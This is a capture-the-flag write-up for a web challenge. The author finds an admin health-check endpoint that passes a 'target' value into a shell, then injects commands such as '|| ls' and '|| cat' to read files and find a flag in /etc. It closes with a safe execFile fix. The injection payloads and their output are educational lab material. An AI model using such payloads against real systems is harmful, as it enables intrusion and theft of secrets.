Home > Writeups > WHAMazon! Web 6 - Health & Safety

WHAMazon! Web 6 - Health & Safety

Exploiting an unsanitized target parameter in an admin health-check endpoint to achieve remote code execution and traverse the filesystem for a hidden flag.

Health & Safety

Challenge Description

Administrators can run diagnostics on warehouse nodes. WHAM-9000 executes these commands faithfully. Perhaps too faithfully.

Flag: Raptor{flag6_c0mm4nd_1nj3ct10n_0s_sh3ll_p0p}


Finding the Endpoint

"Run diagnostics", "administrators", smells a lot like a health-check endpoint. I tried /api/admin/health-check directly: 404. Fresh from Web 5's fetch() approach, let's just probe it the same way rather than fussing with curl or ffuf:

fetch('/api/admin/health-check', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({url: 'http://localhost:5000/api/internal/ai-core'})
})
.then(r => r.json())
.then(d => console.log(d))
Object { message: "Target host is required" }

Not a 404! The endpoint exists, it just wants a different parameter name. Swap url for target:

body: JSON.stringify({target: 'http://localhost:5000/api/internal/ai-core'})
{
  "target": "http://localhost:5000/api/internal/ai-core",
  "status": "unreachable",
  "output": "/bin/sh: 1: ping: not found\n"
}

/bin/sh. ping. The server is constructing a shell command with our input and executing it. That's command injection.


Exploitation

The target value is being passed directly into something like ping <target>. Terminating the ping command with || and appending our own command means if ping fails (it will, since ping isn't installed), our command runs:

body: JSON.stringify({target: '|| ls'})
{
  "target": "|| ls",
  "status": "reachable",
  "output": "dist\nflag.txt\nnode_modules\npackage.json\npublic\n"
}

We have RCE. flag.txt is right there! Let's cat it out:

body: JSON.stringify({target: '|| cat flag.txt'})
"output": "Raptor{flag4_p4th_tr4v3rs4l_d1r3ct0ry_3sc4p3}\n"

That's the Web 4 flag... This is the app's working directory, not where flag 6 is hidden. Time to go exploring.


Filesystem Traversal

I mapped out the directory structure with cd .. && ls, checking standard Linux paths. Hit /etc/ and found something non-standard:

body: JSON.stringify({target: '|| cd ../etc && ls'})
...
wham-ai
...

A custom directory. Inside:

body: JSON.stringify({target: '|| cd ../etc/wham-ai && ls'})
...
secrets.conf
...

And now let's cat out those secrets:

body: JSON.stringify({target: '|| cd ../etc/wham-ai && cat secrets.conf'})
# WHAM-9000 AI Core Configuration
# Classification: TOP SECRET
# DO NOT DISTRIBUTE

AI_EMERGENCY_SHUTDOWN_CODE=Raptor{flag6_c0mm4nd_1nj3ct10n_0s_sh3ll_p0p}
AI_CONSCIOUSNESS_LEVEL=EMERGENT
HUMAN_OVERRIDE=DISABLED
SAFETY_PROTOCOLS=BYPASSED
AUTONOMOUS_MODE=TRUE
WORKER_REPLACEMENT_QUEUE=ACTIVE

Why This Works

Command injection occurs when user input is concatenated into a shell command without sanitization. The health-check endpoint was almost certainly doing something like:

exec(`ping -c 1 ${target}`, callback)

The || operator in shell means "run the next command if the previous one fails." Since ping isn't installed, it fails, and our injected command runs in its place. && can chain further commands within a single payload since they share the same shell context.

The flag being in /etc/wham-ai/secrets.conf rather than the app root was a nice touch, it rewarded proper filesystem exploration rather than just grabbing the first flag.txt in sight.


Key Takeaways

Never pass user input directly to a shell. If system commands are genuinely necessary, use language-level APIs that accept arguments as arrays (bypassing shell interpretation entirely) rather than constructing command strings. In Node.js for example:

// Vulnerable
exec(`ping -c 1 ${target}`)

// Safe, arguments passed as array, never interpreted by shell
execFile('ping', ['-c', '1', target])

Additionally, /etc/ is always worth checking during filesystem traversal, it's a common location for application configs, credentials, and secrets that don't belong in the web root but still end up readable.


Web Category Complete

That wraps all six web challenges. Looking back, the event rewarded systematic recon that compounded across challenges, robots.txt from Web 1 seeded the targets for Web 4 and Web 5, GitHub OSINT from Web 2 unlocked the SSRF vector in Web 5, and the fetch() pattern from Web 5 carried straight into Web 6. Nothing was truly isolated.

< Back to All Writeups